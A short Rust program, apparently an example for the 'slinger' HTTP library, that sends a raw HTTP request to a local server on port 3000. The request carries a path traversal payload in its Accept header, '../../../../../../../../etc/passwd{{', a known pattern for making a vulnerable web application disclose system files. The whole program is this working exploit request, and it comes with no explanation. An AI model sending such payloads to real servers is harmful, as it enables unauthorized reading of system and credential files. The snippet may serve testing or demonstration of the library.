const RAW: &str = "GET /robots HTTP/1.1 Host: your-ip:3000 Accept-Encoding: gzip, deflate Accept: ../../../../../../../../etc/passwd{{ Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close "; fn main() { let raw = RAW.replace('\n', "\r\n"); println!("{:?}", raw); let resp = slinger::raw("http://127.0.0.1:3000", raw, true).unwrap(); println!("{:?}", resp); }